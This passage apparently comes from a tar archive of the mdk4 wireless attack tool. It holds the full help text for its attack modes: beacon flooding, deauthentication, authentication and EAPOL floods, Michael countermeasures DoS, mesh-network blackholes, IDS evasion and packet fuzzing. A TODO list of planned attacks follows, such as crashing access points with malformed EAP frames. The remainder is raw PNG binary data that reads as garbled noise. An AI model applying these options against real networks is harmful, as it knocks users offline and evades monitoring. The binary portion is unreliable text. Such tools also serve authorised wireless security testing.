MODE w: WIDS Confusion Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs. ATTACK MODE f: Packet Fuzzer A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful! # Usage mdk4 [attack_options] mdk4 [attack_options] Try mdk4 --fullhelp for all attack options Try mdk4 --help for info about one attack only FULL OPTIONS: ATTACK MODE b: Beacon Flooding Sends beacon frames to generate fake APs at clients. This can sometimes crash network scanners and drivers! -n Use SSID instead of randomly generated ones -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit -f Read SSIDs from file -v Read MACs and SSIDs from file. See example file! -t -t 1 = Create only Ad-Hoc network -t 0 = Create only Managed (AP) networks without this option, both types are generated -w Select which type of encryption the fake networks shall have Valid options: n = No Encryption, w = WEP, t = TKIP (WPA), a = AES (WPA2) You can select multiple types, i.e. "-w wta" will only create WEP and WPA networks -b Select if 11 Mbit (b) or 54 MBit (g) networks are created Without this option, both types will be used. -m Use valid accesspoint MAC from built-in OUI database -h Hop to channel where network is spoofed This is more effective with some devices/drivers But it reduces packet rate due to channel hopping. -c Create fake networks on channel . If you want your card to hop on this channel, you have to set -h option, too. -i Add user-defined IE(s) in hexadecimal at the end of the tagged parameters -s Set speed in packets per second (Default: 50) ATTACK MODE a: Authentication Denial-Of-Service Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs. -a Only test the specified AP -m Use valid client MAC from built-in OUI database -i Perform intelligent test on AP This test connects clients to the AP and reinjects sniffed data to keep them alive. -s Set speed in packets per second (Default: unlimited) ATTACK MODE p: SSID Probing and Bruteforcing Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. Bruteforcing of hidden SSIDs with or without a wordlist is also available. -e SSID to probe for -f Read SSIDs from file for bruteforcing hidden SSIDs -t Set MAC address of target AP -s Set speed (Default: 400) -b Use full Bruteforce mode (recommended for short SSIDs only!) You can select multiple character sets at once: * n (Numbers: 0-9) * u (Uppercase: A-Z) * l (Lowercase: a-z) * s (Symbols: ASCII) -p Continue bruteforcing, starting at . -r Probe request tests (mod-musket) ATTACK MODE d: Deauthentication and Disassociation Sends deauthentication and disassociation packets to stations based on data traffic to disconnect all clients from an AP. -w Read file containing MACs not to care about (Whitelist mode) -b Read file containing MACs to run test on (Blacklist Mode) -s Set speed in packets per second (Default: unlimited) -x Enable full IDS stealth by matching all Sequence Numbers Packets will only be sent with clients' addresses -c [chan,chan,...,chan[:speed]] Enable channel hopping. When -c h is given, mdk4 will hop an all 14 b/g channels. Channel will be changed every 3 seconds, if speed is not specified. Speed value is in milliseconds! -E Specify an AP ESSID to attack. -B Specify an AP BSSID to attack. -S Specify a station MAC address to attack. -W Specify a whitelist station MAC. ATTACK MODE m: Michael Countermeasures Exploitation Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS. -t Set target AP, that runs TKIP encryption -j Use the new QoS exploit which only needs to reinject a few packets instead of the random packet injection, which is unreliable but works without QoS. -s Set speed in packets per second (Default: 400) -w Wait between each random packet burst (Default: 10) -n Send random packets per burst (Default: 70) ATTACK MODE e: EAPOL Start and Logoff Packet Injection Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages. -t Set target WPA AP -s Set speed in packets per second (Default: 400) -l Use Logoff messages to kick clients ATTACK MODE s: Attacks for IEEE 802.11s mesh networks Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic! -f Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them: The following modification types are implemented: 1: Replay identical frame until new one arrives (duplicate flooding) 2: Change Source and BSSID (possibly resulting in Neighbor Flooding) 3: Cut packet short, leave 802.11 header intact (find buffer errors) 4: Shotgun mode, randomly overwriting bytes after header (find bugs) 5: Skript-kid's automated attack trying all of the above randomly :) -b Create a Blackhole, using the impersonated_meshpoint's MAC address mdk4 will answer every incoming Route Request with a perfect route over the impersonated node. -p Path Request Flooding using the impersonated_meshpoint's address Adjust the speed switch (-s) for maximum profit! -l Just create loops on every route found by modifying Path Replies -s Set speed in packets per second (Default: 100) -n Target this mesh network ATTACK MODE w: WIDS Confusion Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs. Confuses a WDS with multi-authenticated clients which messes up routing tables -e SSID of target WDS network -c [chan,chan,...,chan[:speed]] Enable channel hopping. When -c h is given, mdk4 will hop an all 14 b/g channels. Channel will be changed every 3 seconds, if speed is not specified. Speed value is in milliseconds! -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) -s Set speed in packets per second (Default: 100) ATTACK MODE f: Packet Fuzzer A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful! mdk4 randomly selects the given sources and one or multiple modifiers. -s Specify one or more of the following packet sources: a - Sniff packets from the air b - Create valid beacon frames with random SSIDs and properties c - Create CTS frames to broadcast (you can also use this for a CTS DoS) p - Create broadcast probe requests -m Select at least one of the modifiers here: n - No modifier, do not modify packets b - Set destination address to broadcast m - Set source address to broadcast s - Shotgun: randomly overwrites a couple of bytes t - append random bytes (creates broken tagged parameters in beacons/probes) c - Cut packets short, preferably somewhere in headers or tags d - Insert random values in Duration and Flags fields -c [chan,chan,...,chan[:speed]] Enable channel hopping. When -c h is given, mdk4 will hop an all 14 b/g channels. Channel will be changed every 3 seconds, if speed is not specified. Speed value is in milliseconds! -p Set speed in packets per second (Default: 250) mdk4-master/TODO0000644000175000017500000000316013525065636014465 0ustar samuelophsamuelophMDK4 TODO List Support both 2.4 to 5 GHz Change the frequency hopping mechanism Sniffing beacon frames sent by APs nearby, collect exists channels to hop. 802.11 packets replay A friendly console interface MDK3 TODO List * Write complete docs * Update manpage 802.11 allows you to fragment each packet into as many as 16 pieces. It would be nice if we could use fragmentated packets in every attack. if you want to make the WIDS vendors hate you, also match the sequence numbers of the victims * Done for TKIP QoS reinjection * NOT done for deauth * NOT done for eapol Logoff Ad-hoc compatibility? * Works for Probing * Deauth should work (untested) * AuthDos untested (does this even work?) -> do STA flooding instead Intelligent AuthDOS with Shared Key Auth SSID Bruteforce: Read Wordlist from stdin CTS control frame flooding * Fuzzing mode modifying incoming packets or creating random ones * Beacon Flooding should also have an options to send probe requests and responses (unicast + broadcast probes) to annoy IDS ;) * Match Sequence Numbers for all attacks that impersonate somebody (like, almost all attacks do) for MAXIMUM WIDS PAIN! EAP attacks: 802.1X EAP-Failure Observing a valid 802.1X EAP exchange, and then sending the station a forged EAP-Failure message. 802.1X EAP-of-Death Sending a malformed 802.1X EAP Identity response known to cause some APs to crash. 802.1X EAP Length Attacks Sending EAP type-specific messages with bad length fields to try to crash an AP or RADIUS server. Above table was taken from http://searchsecurity.techtarget.com/general/0,295582,sid14_gci1167611,00.html?track=wsland mdk4-master/docs/0000755000175000017500000000000013525065636014725 5ustar samuelophsamuelophmdk4-master/docs/k2wrlz.png0000644000175000017500000025117513525065636016701 0ustar samuelophsamueloph‰PNG  IHDRґžžsRGB7ÇMS tiCCPiccxÚí™gPiÇß† C‚D HÎI‚dQ2Œ0$LČâ Ź "’AD\]‚Ź˘"ŠQPŔ€î ‹€˛.Ž"**7čŻęŽîÓ}šşůxűWO?UO‡ˇŞU €ěx"')6 ‰—Ć÷sąg‡„2ąch T9‚“šlçă㠄Yé˙’wŁZ9ŢÓý÷ç˙cˆÜ$'äxnT*GČiBŽĺ&qWęă+œ™–,ŹÁŽBŚó…(äŕŽüƉ+ów~íń÷sr8RĚW&]áČŻL=ľÂœX~˛]Â~ľosżF\sĺ&˜qź´(>/"Q üˇóOłÄRWxdz\bšnďtÎĘ~ůFoŹžîˆQń˝śYřŘŻ@Jž×Ô@Ů @GĎ÷Zäq:K~ĘIçg|ŤĄV4   T&ĐFŔ X[ŕ܁7đ!`#ŕ€Xř ä€] ‚pTZК@+8:Áyp\ˇŔ]0˜/ÁwŔ—á[đ,€_ @ˆQFt6â€x#ĄH4ÂGś#H9R´"ÝH?r sČEC1Qş(K”+*ĹAĽ śŁŠPU¨“¨Tęj5ú‚&ŁĺŃ:h ´:ƒÎDçŁËэčvôUôz ýƒÁ00,ŒĆ‚‰ÇdcŠ0‡1m˜K˜!Ě$f‹ĹĘ`u°VXol6 ›­ÄžÂ^Äc§°ďqDœÎçŒ Ĺńpš¸r\3Ž7Œ›Ć-áĹńęx ź7ž‹ßŠ/Ć7ŕťńwđSř%‚E°"řâ ť„VÂUÂ8á ‘HT!š}‰qÄÄ âiâuâń‰JŇ&9ÂHé¤}¤¤K¤‡¤7d2YƒlK%§‘÷‘›ČWČOÉďĹhbzbnb\ąbŐbbĂbŻ(xŠ:Ŏ˛‘’E)§œĽÜĄĚ‰ăĹ5ÄÄ#ġ‹W‹Ÿ_ IJxK$II4Kܐ˜ĄbŠT'*—šG=F˝B¤!4UšCŰMk ]ĽMŃ1tݍO/¤˙L¤ĎKR%%%ˇHVK^0†͑Č(fœaŒ2>J)HŮIEIí•j•–Z”–“ś•Ž’.n“‘ţ(Ôq’IŮ/Ó)óD%Ť-ë+›){DöŞěœ]ÎRŽ#W wFî‘<,Ż-ď'Ÿ-L~@~AAQÁE!YĄRáŠÂœ"CŃV1^ąLąGqV‰Śd­§TŚtQéS’iÇLdV0ű˜óĘňĘŽĘéĘuʃĘK*,••\•6•'ŞUśj´j™jŻęźš’š—ZŽZ‹Ú#uź:[=Výzżú˘K#HcF§Ć KšĺĆĘbľ°Ć5ɚ6š)šőš÷ľ0Zl­­ĂZwľamíXíjí;:°ŽŠNœÎaĄUčUćŤxŤęWé’tít3t[t'ôzžzšzzŻôŐôCő÷ë÷ë101H4h0xlH5t7Ě5ě6üŰHۈcTmt5yľóꍝVż6Ö1Ž2>büŔ„fâe˛Ç¤×䳊™)ß´ŐtÖLÍ,ÜŹĆlŒMgű°‹Ř×ÍŃćöć;Ěϛ°0ľHł8cń—ĽŽe‚ełĺĚ֚¨5 k&­TŹ"ŹęŹÖLëpëŁÖe››z›gśŞś\ŰFŰi;-ťxťSvŻě ěůöíö‹Ű.9"Ž.ŽŽƒNT§§*§§Î*Î1Î-Îó.&.Ů.—\ŃŽŽű]ÇÜÜ8nMnóîfîŰÜű)>żůb|}|Ť}ŸűúĺřőŻŁ­Ű´ŽyÝ;{˙b˙ǚ齁”Ŕ°ŔŚŔĹ Ç Ň A°~đśŕ[!˛!q!]ĄŘĐŔĐĆЅőNëޟ 3 ËÝŔÚ°e͍˛7^ŘDŮąél8:<(ź9üS„wD}ÄB¤[dMä<ǁsˆó’kË-ăÎFYE•FMG[E—FĎÄXĹˆ™ľ‰-‹sˆŤŠ{ď_ż˜ŕp"a91(ą- —žtŽGĺ%đú6+n޲y(Y'9?Yb‘r0ežďÁoL…R7¤vĽŃ…ćtÍôŇ'2Ź3Ş3ŢgfžÝ"ą…ˇe`ŤöÖ˝[§łœłŽgٞ9Ů˝9Ę9ťr&śŮmŤŰmÜŢťCuGŢŽŠ.;Oî"ěJŘu;× ˇ4÷íî ÝÝy y;ó&půĄ%_,ŸŸ?śÇrO폨ă~ÜťzoĺŢ/܂›……ĺ…ŸŠ8E72üŠâ§ĺ}Ńű‹M‹”`Jx%ŁűmöŸ,•(Í*<ŕu ŁŒYVPööঃ7ʍËkĽTxVtUŞU–T~ŞŠ­ŠśŻnŤ‘ŻŮ[łx˜{xřˆí‘ÖZ…ÚÂڏGăŽ>¨sŠë¨×¨/?†9–qěyC`C˙qöńŚFŮĆÂĆĎ'x''ýNö5™555Ë7ˇŔ-é-ł§ÂNÝýŮńçŽVÝÖş6F[áip:ýô‹_Â=ăqŚ÷,űlëŻężÖ´ÓÚ : Ž­󝱝‚ŽŽĄsîçzť-ťŰÓűíÄyĺóŐ$/÷zňz–/f]\¸”|iîrĚĺÉŢM˝Ż_šßçŰ7xŐăęőkÎ׎ôŰő_źnuýü ‹çn˛ovŢ2˝Ő1`2Đ~Űävű é`Çł;]wÍďv­ęśž|ĎńŢľűn÷oŹ }06&xŔ}0ó0ńáëG–ďG<RţTţiýďZżˇ L&'ž­{öx’3ůňÔ?>Mĺ='?/ŸVšnš1š9?ë<{÷ĹúS/“_.Íĺ˙)ńgÍ+ÍWżţeű×Ŕ|đüÔkţë忋ŢČź9ńÖřmď‚ĎÂÓwIď– ŢËź?ůýĄ˙cĐÇéĽĚOŘOŸľ>wńř2žœ´ź,r‘ ˆ\@ä"š€ČD. r‘ ˆ\@ä"š€Čţ]ŕëża•ĺŘţŮxŢ ˛ h(a˙R)X„őzTXtauthorxÚ HM)ĘWđI,JĘL9lÁBŕž IDATxÚ|}xĺľčÔí]ťęݖ%Yn¸÷†m°cSM1)¤_BI źź„„šppi!„šiĆŕ.¸ŕŢmÉVďŇj{›™wfÎęx÷{ßz5;óĎ˙Ÿ˙ô6ě#<’H$bą˜Űí6›Í‚ ʲ …˘Ńh*•‚“ĺĺĺŐŐŐ.—‹çůL&Ł(ŠŐjĺ8žĂŻŞŞfłYřd†eYř´X,đî… Ňé4Üßá>Ăáđýýź Ŕ§KŽ”É?q˘ĄĄĄŹŹĚfłÁQ}>Ÿ×ë…?áFx(>BŔÇŔăáof €‹ŕ§ŕPUŘââbX<ž×¸ŔnˇĂ03ř„óp%<Ăd2ÁPpżŔ•đžŔř —Á˝šH$âúz{mv;L‡çz<žććf€ ܕL&aJp1ü wá8Ş~đ+VŹ€Ŕč§ňcťl˜çxco['ĘŘ]Áp(*l>-t5E‚g{ÚÎűĘÇŔpp €nď8c8p„<ĄăĂXÂ~Ĺ/‚¨0c¸ść—ҧÓé„áށ[đFí^ĆŞäKáȂóűŽH˘šMĺ›9ŸĂúĆĄŁVťyLí8VÎČĺŚŮB2"ËnÉżůq›^őöżÇGűaI’´Ľë[Ђá0 f _ŕĎő§6ţŁ0ßź÷î{ëĹőżš˙؇˙í= yßzý:NNО?ŻmúťyMlÖŚž–Ů,IďöÝKnŇąQ„ Ym6 }˜(@ţ„Ńoşé& âýë_wŢygIIÉłĎ> ç–°<¸ Ö ‚‰Â¤íG…ÍÖŐŐœ Ŕ °0XŞř†ž{9&KŃ@o˛\!)‰ŁŃÁŽŢé×ßüĺÁXKŢú‰ó﨟yăŢůh›Şř&~%­ŘRY’‘˛ٞďltYwâ“É+a\䈝pŔ#o˝őV˜üx ꞧ§ç÷ż˙ýúőëaŢ@aďż˙>@ů?˙ó?żűÝ Ţ|óMŕH;wî؟>}Ćikkëčč6xĂşu¸Hdœ†CúßA9uYžč’ˇ[ĚŇĺsËóۖ\äšßŕ_Î֕ąăŤDI7_ţł€Čjě@Í"›DBŕ጑9<řŕƒgϞýüóĎá˖-ƒ“€đë/ůKřžüéOşíśŰŕ öžŔ&̘1ŁŚŚĆĄ˙ŮŢŢŢŘŘó†+×­[‡0Ö8 Œ%tm<=ä+3Ťóů>™‹ &­Ś¨]Čż¤yďťN_ÖS$ěß´8ÚłyáÍ\áěţ}Ż^ć2ŒňĄXmjý$PZľLGœSEŁežżüňˁ€`d@‰Ź$j<üđĂHL°$Ü`Ê~#ȋoź&ZYUĹlŰ h:×ן÷Ţ{Żźň ŕX+Ćqßâą5ÓŹ"ˇwţíí=g•ŃvQˆIrcžyŕSŕR bÝ;ĚE°Í€\n瘀ß,ŒŠw˜G_ó̀QPž ŒŢyçHŇŘúúŹ,×ŐÖŸ(’`ŢlX‚ˆ–‡_% AÄŸě€?đöŰorFÁ?˙ü‹üüŔÜšsóóóKKKy`űx`6ŸŞöÄCłBCĄúi‚ 2'ž9vń Ź:Ş.hjJTŽ^Xˇő“qŚ˙ş_˛<‹ű €D™ź`Á|ňcŘ\¸Ga×ŔŨ٤őţ„ːĂ °0ŘXXÜż˘ö˃Y\›aÁcţŠ+Ž€ßŕM„şm…cRćČ {°)’ŽoĐÔ(]Ą*ŞÚq°ˇŹÄŞ™ěœ2?ËäTPaDřDQ O…O˜Ěf‰:|A U(žŔOpŻGtBÎę BX*|Ї‡B𸒿ä’Kŕ€n+3Ł+ÁEng“ľÔ›ČŸ>Ű=Š>ľ“EӉqg‘? °áSťXQŕ;‚FFć€SÄ+ÚŽę‹„ó¨0!ŕW”Ű´ pÜCÓ(**Ňř1R.JԒŕ3•IĎ͘e Č0‹ŰRS€!༦}ë[ å҈[łÁgË:—@v† Á]$AqZ¨Ł‘–C\ÁIöŒˇçôŠPh(mčL{<( P+›•#٘ÝgRH$â&(ŠnŮtŒ„áűprŹ>ś˘ |°<řԄ™ÍšI2•Ôá-^Ŕ'j8pCN‹ŜŽ#ËbÎÖĐţĆ1 ľB B›ŤŠżżž˜‡gżÂA ôÎF ԃvnŹa†`F` Ă‡“¨ÁÁwd)¸'¨źˇ´´Ŕ$ńx$îĄŃÉĐ<ˇśśţ„ ‡3@g0%ř„y#bh&n"%ęŕˆň@ćííMçÎ%q˜.î#Ě–?!Á<ŕńđ‰ű‹BeDV¸Í0ÄřށéœPů„/HŠ H€˝ěŚ<)Ů6Q‹&5a¸n€‰Âg÷ŽŻXŻĹÍôD“žú:‡ÓSŠlůD°™WXťŚš.:űláMHL9ĺZŸŒƒ„‚”(„3FĚÁš"ž î˘ĘKEŁŁźŹě̙3đ'Ě'‡cĂVŞ(ƒ8řšT=ćő¸§4ﯙ’çqp f÷؆wŢ߂Ś+—ZӅb*“ŠÇŇ/'źkˇżŞ-´ă=œŮĎHäŠh<#m!ëD"v‹ÜmA´ů`6@ţŃX ĐDÜç08˛DMˇb2Y9Ż&ě*)‹FTŔÁsŹZá—:Â&ŸÇ ⻡ҞhKd|R\­¨•ű‹Ź]ryP)ÂqŽhŇ& NŒ)žDŠÓE`Ӎ€¸ą°!°°řAjjŇA—ę(‰rĽ"ĎÔţc2Pá€iҢ[n˜Óǃăęj~öĂď9ÍâšcCłlźłîjĎÜUň |\”؆öŠV€%ČKô`Ŕ Đôřń|÷ÝwďŮť„ć>ńNý@‰ŁaˆŐŠPîůř㏃jÂ7 ĆĚ-î´z’ÔŸ>źĽÓîń¤7źx¤Îłýü@{wďkož˙ƒŸŢł˘ŘsÖoľx]—~üTĆĘXĽĺ@hĐ< ŤE1†¸FDĐŢ{ď˝÷ß˙óĎ=^ýőp˝ÎČňa‘(œ5dľ–ăO¨“ŕO09b4܅'•UՏ3ÇĘT›řRGsmý–đő—Ţř;ŻË_>éfĺěœ[#%Wď=|oŢzf(ÚęM¤9Íđ„u#TP^р-ôŁýÎŁîňĐC]}őŐh?_{íľ°PĐŔˆ€[Ŕô€€€âVXu Žv÷tŁĺÚpŘď}ď{`şâň´éC?&Ţ:Ç/”:L ×‚W-p^6Ó×Ýß_8Á=ĽŠŤ/âëŞMčÚÝ˙™ábO'Ů+Kíń“§PĄ_IážűîűásŇiinţâóĎŻźâ €œ#yóčŃŁ}ôQDƒ'žxĹ=÷ÜóŚ ԍŠE´ŢÜÔÔÂw˜$ň2$ŠÚřĎ|‹0ÚÎ˙ť5<¸Đ›˛Ď†›—ňřĚ O„`Bó6='|ýi"šŠ+â+ŹyMžbfĺ¨tĆ˙œ&Š&<Hx<€`××_Ož2ĹátîŘąĆAđŔ.\ˆ˜ö&jˇ ƒŕKeeĺ_ţň_^ňo-¸ˇˇ÷ЧžBiŹÉa+ŒyŢžÄlj5?ţ3óäţAŢQY8žqĺĎç~řˇDt¨üč— ĂŸÇ ¨ŽEÓ§nsPˇM[ăŰőQĚwšYUj€đŒçŸţčŃŁđĺöŰo×АI§­ (Żč@5ŔŞ3`Ň@n!^?…k€3 ^3,‹Í›7Ł^ć´&5•ÂĺUgůŹío˝_ko1™MČíÁĘÉßţaI,Ř)iä \îlt]ulv`čüćüąžŒ”d…­ ž|ŕř2dU’Ž+Â,aÓQFXő/( pşdŘć 2ŔgUUŐÄIožůf䌚w™vŞř†Á¤ŇÓĺ‡Ę ƒl(Ťœq–J,og5uLĺšż,›Ý}"Ž“Šü‹‘˘.öÍ7ßŔ3 $ˆÓy~?L$śŚ‰â/~ń 8żfÍ@ ¸íÖ[o…Ńjëęŕä÷ż˙}tb ň RgTVTţóŸ˙<ĽBÓ°aeČůŽo u§ĺ淞ěťň6Ţd÷~ü˘Yä3ç‡ůXW;”dăŚé˝˝R_ćĘRç&݆ҎËôÎŔĂśmۆ.ü„L •C *°g`Ň jŻ\šňż˙űżošĺt–% sxŁĘ˙ôÓOĂłaŠpٌ3ĚŔd4üY˝z5j¨­ óŞOýŽŻÎQ6*–T”ą“ y c‹v{UˑÖʉM-í^ťy¨ł{šG Ů`Ţč'Dś‚DŁŠ°™ +đnžďmí˛Z-ÓęóAëťŔ–ŃŐs|<)ٍ%jŢý@Ű;‚FFlAď/Ný pő28‰Ň E{ž˝j6…Ž'‚¤ŰFřCŰyŘ(ČYŠżf‹§Âa5Ş*hšBČŠ\Ŕ@w'<h¸Ç°Ú€­02ö˝bŃQĹ52>¸öÔ¤#!ęh:\9ea‹I]Q5_ľÇÝÝÝ͂ˆĐŒƒ"éŕ&Šş…ŤG•ÍâH$ҙ |†ÂáX<Ćą\}]ËíF݉÷őCä¤ě’ţФ‰xˆR94‚.FçˆČI0J‚ŽbÄCô†áőˆ{¨'âćĂŔBAż#ZěPřë‚kPYE ÂL°î„j#Î ńć ä„^ `Óh—pĂŽ‹źîüŞUŤHňŁŢ óC•UˇÄ2ƒÍk__”‰…"ÝÎÍ&П:ť:œ'#Ť /ťť:‹Š œN —J˜ěN‹Rűö|ś9ÉÚâA>ŻE/Ú5ˆ™\œ1Ň-‚7›`{†¸;„Ö-š†‰8IߤÇá‚a44k`zČfľ‡ęČDĆ+hS8>œ •xđ k8c!Ë@t¤9ŕĹ'Ňć€LxŁÇăî öÚÍNtšŔ' iKcSŠ=ŕx›Řá Ś2-0FS4ݟ‘űÓٙӧ÷ő†#`Aő ĽCßDŇŇÍŽ—PŮŽ‰žĂg3ĹžhWQžkƒÍéŠO\ ,gC楃JÁb0Ú`ó‘DH:Č,Ńpq ůŚMLçP¸HMUŢ mSurĄÍŔ•ăŨ=ĺR4q–x0`.p `äv›M҃Š bŒ•(Ă1ĐŤGRrţ(|YÚôho^qĹˆśY)^>4Ô×fł÷´vˇŒ/‰Zĺdˆˇä›$JbŠ­:*)KVqň”ĽźśůĐĄĂ’Źœ:~Änąôvu^4>0‰çű—\gk9ŐRﲛ˜ň|Áďä+ź Ů*č ^Ţ´˙kƗl´›YOäŘ 8 ×IP@ꥨhŽÄttĆ_ ’~ c„d!.ݛˆV¨ĂQt•šéF9•găřý„¨‹alýŔŕ• wnٲĺ믿†ľÁúá˛Űnťí7Ţ ĚBąLAt\?şľ›~€ďIÝöLčp`°m°Í€Ĺ Œ#ľi‰YZ^ˆNp̰ƍ¤řiN,cđhöÇ۸ຖsƚÁ”+­l‹) 3͑ôáÉÉŞ­’x~ĺó@—PäD,U=ş&“JŒ3zÍĽËLʘ–Ň0XBUoR–g­•U-•w{7˝Z” Á‰ŢMĎř§{l ­ą)çÓĚŔ‰žîŕ;ٕאłUöŁŘu´ÂEâúŸ{î9°—Đľƒč8ňn8¸pńC=żŢy睚ĄtýőŻžú**p éGaa!â8---&:Ŕ%xíľ×€hđ)ČŚa#UAá Şě1Ş:¨Wž9sfę”)T O¤bŔvĐř[lĂkńžž=˝Í:Í'Îq3O0KŽš6Ż÷őÖΨ‘Ł“Důů䓈q@Ë@ňK—.…í´úä“O˜o7ß|siiŠô4™~őŤ_Á™żţőŻčČŘšs'†DÁÔFÖüđĂwvvâ5¨şρ]A7ŇhŃHdëśmčůKă9›Ő|°ĂßŔ ÖéXr˙äÜ˙pƒčí)ąvu[‘E—?׳${Ź1•}¤Áóˇ(/ŸŮšňšóęŽö„;ńś˘˛‹,gvUfBy_üĎgÓŻ†Ů;śš›_yP˸l{›RRšIg +§efˇ5TjNş˝˜=“â-]?uËë[%Ľîx¨ókWŐ"ŇľÔ†áÔ3UÉqI˜ýŢ˝{9Ŕ÷ţđ‡ű$Çb—­\ lŔBTXŘ´Cނś#R z•P⡖†Ö >xžÉÓ=w@4ŔR€/ĂO~ż_Üš=jŔý|s3˛ě/żü2çDíčxřĄ‡Ë!-jz!Z,ƒŤZ´˛fęŐýM_ű*ŠŽ­ ßtď˝qŽn†×ë˲ Îˆvş/†,ć]ło’d)UÝ'÷Ŕ‚§n~,ŠA™Ů0aeŘf•N €~ËŞűş ÓŢË[ř÷UúóE~éöż_^R]™Ž^j)™ƒÜ…ň;Ly&/Ťčԃ?˛Ŕ@Ź[Y‹zéŽmÜ$ô>#) |á ,ŒéŔ6`4ĎŔůôš3şýŃô,***))ŃBŠĂűFVžß_]] ×÷őő-X°Xœ?}ęđ@ö”π= ĺ2PC̘ĚN[Y{ Îd˙yŐż,՗O?fÚM&łÉ簓"9Ŕ Ŕ˙ď&ş;}˘˛*1‚¤˛Dě˛jr:˝*Ďš*Śtt5ŸäçľłŇ7“ÜűÜöä€o)˘Ćë(YšI_řŹŻŻÇ?Ad9].Ќ~?Ś{8ěvÍ(×ńŕ'”Č|ᖂŽ!41ŕ đY¸&w“ Ś_Nž:ČĎG=ƒŇ8 FYqLMĎғˇ`ľezĘŔÁƒWŽ\IL=˘A‚Ŕţă˙ČĽ= ť˜śĆ˝[ęnýÍĐ;ϖ%C.ž.ŕ €ŢÁEĂqÁ”őSQfoyIҒGŐmÓŻJv}ńŸŠŽgÔŻŚŻfM%îoâç×HŠÉ ˇ [ť˜lżkݚ‹zžŽ>uꪗً Q<Â$sÉEV*ćpćď˙;L @öÇ?ţţüŮĎ~†ŽZrŒŔâQŁ@ˆ`Ř ČőŰßţĐ Ź2`Í &ƒpëˆéJôŞUŤď0˘…^8}ôѣǎ‰\uŐUˇŢz+ R||ůőŻŹŕÚkŻŽ˘ vEJúđĂE€/Oš4 ýš°aŔa*,¨ud„ * “n˙řÓőęY…QwEŘńnţ/\é”)Ó=î|ŃiM$SŽ÷_gĘ$~çüuY݊…'MŰţŚO`-sHśö.ZťőPlnĽÄxí˘ľńíˇę¤ţ”Â^ęˇ,XĎŮ,ˆ•š40]B„2Ɔ)ֈ L Řň´’Ń0žK™_L4Ĺu]Łż`2˛]D/ÔŇHe&]˝ł˜šÖó=IŃĺâԉD<< ě‘QŐŁ<ú Ÿ€fÔă¸đ9ęŞ+ˇeł 7~Â]–|ôő˙ęîŸ~vÂ2ť*ŮżüŚOuo€:œĽ!ě‚ëŃ3Ö|ćôŹşJ™Nm˙˘~04ƒKŘ쌜Ënß$2œDŒn-RIQşĐYE~Or ?1ĎĐ%Šqr‘ߎĚüĽŘ9şJqdŇIăDľ#×ô'l…W15 řÉŹo$°…S§NJ[Îűâ‹/˘TEÝ]Ţä[!/ŚÖŠ˛Â¤™}măkňqy”Rƒ3ţ˛ëxââ)vŘf4Uqmň’‹đ׏ytŃ ŻÇĺ!"ĐÇNŮÝ\VşťA†ĘĽŞ“X'â ož1÷ˆĚ<œ!f€Łß3žĐ;jL)Ç |‚îˆičŰäA—Śä xqß>ľ5â(żŰ‹\ý'űÎ rCŚÁÁdž…gMj6­”€†¤"M!5ŕ" PÝ&8R(Ăč‚0úŽÉ™‹˜Ž{€.McGQ’&zĹĐ3€Ű.Ü'Ür”Ÿ˜ƒťH Üü‰Üť”‰KŇ'^5f2ĄHŘëńj˘Usd°Ź.‡íč"Â'Ąô ŞA"Ž(*ŕ/ˆ)é†ZĎ0kłŁŻ‰,)çC@ƒŃî$ĘČźÁy#z’ÚˆŰŒDŠEĆ'ëkŇŁ7¸fÄ ’rzÚăá”0ƒ+Äúé >-uLÝCc‡ö‰÷›4Tć@ŁŔdA\˘šćá{ä‘G4ł8ËĽJčŢxœ=î ćrQşČ$„–ŠŞŐfŽˆ‰1?ÄGҞ#­!őἉ- ĽşžČHC΀B0A‰ź›ŇšP§Ö´ŃPDćmÂÄ0{ëAŕI@€w ˀŔÉDŔ×tÝ_Œ`!—œ'а"­ŽXĽś@\'˛QĚ, „OX†–ŹßF‘Púâ:’Âä@€ĘŠ\ZRjҟ”K!Ö'AI+)ŔQiÎáE]Şş@dĄĽ’"ՓV@DJ7"óÁeŁŁB1tŻ´Žk[uď ho9Öo2aôÝ7°:tl X-„cŸÄ‘Œs0Â7šŔ?pÑ|p%L„V IDATˇqó1>†S“éŔéŔ ĐSżAP:ÎH0 6 Ň)&”â>!hČC†ś .ÄbB Äw"}¤x!ěr)ˆ:⓾Â™x%rjc•Č̖dô]Ě)$ú-9î—NkčĽď 5`:’2|bę1&O˘ł˜:áéĎşÉK.šŠ n Ar†Ÿť:šÓɤ)Ńr´ąŁ° h^Úä:ť:í—Ëé6Ű­ŃP°ŽžžK†Ź./đ(-űŁż#iMî’3_'‹Ş„cŒ ŕC;Œąr˘5ŠJRb~ĄĄ ^c(ˆ(˛¨ â‘§ĄxD˘DIÚ^‰9t8Ö"ӃĄ€'P¨ LEŰZLÄç!‘Âîëš>ÔłŰ.VTYŤzäÔŠošÂ™>ŕS,"‘möÂ<ßšÖ6 ÁŇââ#ďż;Ęi‰sťS‰UœaQONň°ęîQĄÁގ6ľ˘š”¸!e3ăžQîrŇĆ=ń.4ŸHşÂj I)€Dů8ˆăřDĘ6D'L2Ew î“Ëéžœahhš-f#óÁ ă.Ă?F,ÎM,e\O4q9]€4Čř`くö§ş#Š­ż'tź?:Ń.ž ' ŹŚY3Ą˝łŤftĹl‚ń'đ™V…+áĺeŚZ”˙)ł>Ÿ)‘–Nň|ÚěŽ:ş+^>Z€0RVîń„žI[Ť(ăw7'M*a^†%[HČdËP‚ľQ”GĄrźÄUƒ‚ĐËePÍ—†5ć)Ă5(žŕ^@G´źIYF”s  ˇDŰ˝};#ý] 